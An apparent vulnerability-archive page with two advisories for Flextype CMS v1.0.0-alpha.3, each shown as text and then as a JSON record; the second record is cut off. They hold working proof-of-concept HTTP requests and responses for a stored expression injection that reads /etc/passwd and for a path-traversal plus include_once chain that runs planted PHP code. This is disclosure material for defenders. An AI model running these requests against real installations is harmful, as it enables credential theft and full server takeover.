"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0178
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression
injection vulnerability in the Entries ExpressionsDirective. An
authenticated remote attacker with sufficient privileges to create or
modify entries can persist arbitrary expression syntax within an entry
field. When the affected field is subsequently retrieved or processed,
Flextype passes the stored value to parsers()->expressions()->parse(),
causing the attacker-controlled expression to be evaluated server-side.
The expression environment exposes application functionality including the
filesystem() object. An attacker can therefore store an expression that
accesses arbitrary files readable by the Flextype PHP process. Testing
confirmed exploitation by storing an expression referencing /etc/passwd
within an entry's title field. The expression remained persisted within the
underlying entry file and was evaluated when the entry was processed,
resulting in disclosure of /etc/passwd.
This represents a stored execution path because the expression itself
crosses the persistence boundary and remains within the entry rather than
requiring the attacker to supply the complete expression during each
subsequent request.
Impact
An authenticated remote attacker can persist arbitrary expressions within
Flextype entry fields that are subsequently evaluated by the server-side
expression engine.
The demonstrated vulnerability allows arbitrary files accessible to the
Flextype PHP process to be read. This could expose sensitive server-side
information including application configuration files, credentials, API
keys, database connection information, source code, operating-system
information, and other secrets available to the application account.
Because the malicious expression is persisted within the entry, subsequent
processing of the affected field can cause the expression to be evaluated
again. Additional impact may be possible depending on the objects and
functionality exposed to the expression environment.
DetailsVulnerable Expressions Directive Implementation
Flextype registers an onEntriesFetchSingleField listener responsible for
processing expressions contained within individual entry fields.
When expression directives and global expression processing are enabled,
the implementation retrieves the current entry field, constructs variables
from the entry data, and passes string field values directly to the
expression parser.
<?php
declare(strict_types=1);
/**
* Flextype - Hybrid Content Management System with the freedom of a
headless CMS
* and with the full functionality of a traditional CMS!
*
* Copyright (c) Sergey Romanenko (https://awilum.github.io)
*
* Licensed under The MIT License.
*
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*/
namespace Flextype\Entries\Directives;
use function Glowy\Strings\strings;
use function Flextype\emitter;
use function Flextype\entries;
use function Flextype\parsers;
use function Flextype\registry;
use function Flextype\collection;
// Directive: [[ ]] [% %] [# #]
emitter()->addListener('onEntriesFetchSingleField', static function (): void {
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled'))
{
return;
}
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally'))
{
return;
}
$field = entries()->registry()->get('methods.fetch.field');
if (is_string($field['value']) &&
strings($field['value'])->contains('!expressions')) {
return;
}
$vars = [];
// Convert entry fields to vars.
foreach (json_decode(json_encode((object)
entries()->registry()->get('methods.fetch.result')), false) as $key =>
$value) {
$vars[$key] = $value;
}
if (is_string($field['value'])) {
$field['value'] =
parsers()->expressions()->parse($field['value'], $vars);
}
entries()->registry()->set('methods.fetch.field.key', $field['key']);
entries()->registry()->set('methods.fetch.field.value', $field['value']);
});
The security-sensitive operation occurs when the stored field value is
passed directly to the expression parser:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
Proof of Concept — Store Arbitrary Expression
An authenticated attacker can create an entry through /api/v1/entries and
supply expression syntax within an attacker-controlled field.
The following request places a filesystem() expression within the title
field that reads /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[
filesystem().file('/etc/passwd').get() ]]","content":"created through
API"}}
The application evaluates the supplied expression and returns the contents
of /etc/passwd:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
Proof of Concept — Expression Persistence
Inspection of the resulting Flextype entry demonstrates that the expression
itself is persisted on disk rather than being replaced by the evaluated
/etc/passwd contents:
realpath: /app/project/entries/expr-api-proof/entry.md
---
---
title: "[[ filesystem().file('/etc/passwd').get() ]]"
published_by: ''
created_by: ''
uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3
---
created through API
This demonstrates that the expression remains part of the stored entry and
is not limited to a reflected or one-time expression evaluation condition.
Proof of Concept — Stored Expression Evaluation
The stored entry can subsequently be retrieved using its normal entry
identifier without resupplying the expression:
GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1
Host: 127.0.0.1:18080
Flextype evaluates the expression previously stored within the entry and
returns the resulting /etc/passwd contents:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
The GET request contains only the normal entry identifier. The expression
responsible for the file read originates from the previously persisted
entry data and is evaluated during subsequent entry processing.
Root Cause
The vulnerability occurs because Flextype treats stored entry content as
executable expression syntax during normal entry processing.
Specifically:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
There is no trust-boundary distinction between ordinary
attacker-controllable entry content and trusted application expressions
before the field value reaches the expression parser.
As a result, data supplied through an entry-management interface can
transition from stored application content into executable server-side
expression syntax.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
analysis
GCVE-1988-2026-0178 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n return;\n }\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n return;\n }\n\n $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n return;\n }\n\n $vars = [];\n\n // Convert entry fields to vars.\n foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n $vars[$key] = $value;\n }\n\n if (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n }\n\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/20"
},
{
"url": "https://awilum.github.io"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/20"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0178",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
"automated": true,
"contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:09:12Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0178"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0178"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0171
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Summary
Description
Flextype CMS contains a remote code execution vulnerability in the
interaction between the Entries API and Shortcodes::registerShortcodes().
The /api/v1/entries endpoint accepts an attacker-controlled entry
identifier that can contain path traversal sequences, allowing content
containing PHP code to be written outside the intended entries directory.
The /api/v1/query endpoint subsequently permits an attacker-controlled path
to reach Shortcodes::registerShortcodes(), where the supplied path is
passed to an include_once operation relative to FLEXTYPE_ROOT_DIR.
An attacker can therefore first use the path traversal condition to place a
PHP-containing file at a predictable location beneath the application root
and then invoke registerShortcodes() with the path to that file. PHP
interprets the included file as executable PHP regardless of the .md
extension, resulting in execution of attacker-controlled code in the
context of the Flextype PHP process.
Impact
A remote attacker with the required API access can execute arbitrary PHP
code with the privileges of the Flextype application process. This may
result in complete compromise of the affected Flextype installation,
including unauthorized access to application data, modification or deletion
of content, disclosure of sensitive configuration or credentials accessible
to the application, installation of persistent malicious code, and further
compromise of resources accessible from the application server.
The demonstrated proof of concept performs only a benign filesystem write
to /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution
without performing destructive actions.
Technical DetailsStep 1 — Path Traversal Allows PHP Content to Be Written
Beneath the Application Root
The /api/v1/entries endpoint accepts the attacker-controlled identifier
../../rce-register-shortcodes. The traversal sequence causes the resulting
entry to be written to /app/rce-register-shortcodes/entry.md rather than
remaining within the intended entries storage location.
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../rce-register-shortcodes","data":{"title":"register
shortcodes rce","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>"}}
The server accepts the traversal identifier and returns a successful
response:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Access-Control-Allow-Origin: *
{"title":"register shortcodes
rce","published_by":"","created_by":"","uuid":"77bce63b-9006-46df-8bbc-48e2182d5b84","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF');
?>","slug":"rce-register-shortcodes","published_at":1788178537,"modified_at":1788178537,"created_at":1788178537,"routable":true,"visibility":"visible","id":"../../rce-register-shortcodes"}
The resulting file is created at:
/app/rce-register-shortcodes/entry.md
Its contents include the supplied PHP payload:
---
title: 'register shortcodes rce'
published_by: ''
created_by: ''
uuid: 77bce63b-9006-46df-8bbc-48e2182d5b84
---
<?php file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>
Before the file is included, the proof file does not exist:
marker_exists=no
This confirms that merely writing the entry does not execute the PHP
payload.
Step 2 — Attacker-Controlled Path Reaches registerShortcodes() include_once
The attacker can then invoke parsers().shortcodes().registerShortcodes()
through /api/v1/query and supply the path of the previously created file:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"include":"parsers().shortcodes().registerShortcodes([{enabled:
true, path: 'rce-register-shortcodes/entry.md'}])"}}
The supplied path reaches an include_once operation equivalent to:
include_once FLEXTYPE_ROOT_DIR . '/' . $path;
The server successfully processes the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Access-Control-Allow-Origin: *
{"include":null}
Following the registerShortcodes() invocation, the marker file exists:
marker_exists=yes
REGISTER_SHORTCODES_RCE_PROOF
The transition from marker_exists=no before the include_once operation to
marker_exists=yes afterward demonstrates that the PHP contained within
entry.md was interpreted and executed by the PHP runtime.
Exploitation Chain
The demonstrated attack consists of two conditions:
1. *Path traversal / arbitrary file write:* attacker-controlled PHP
content is written beneath the Flextype application root using
/api/v1/entries.
2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the
attacker to pass the created file to Shortcodes::registerShortcodes(),
which reaches include_once.
When chained, these conditions result in remote arbitrary PHP code
execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0171 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n 1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n content is written beneath the Flextype application root using\n /api/v1/entries.\n 2. *Attacker-controlled 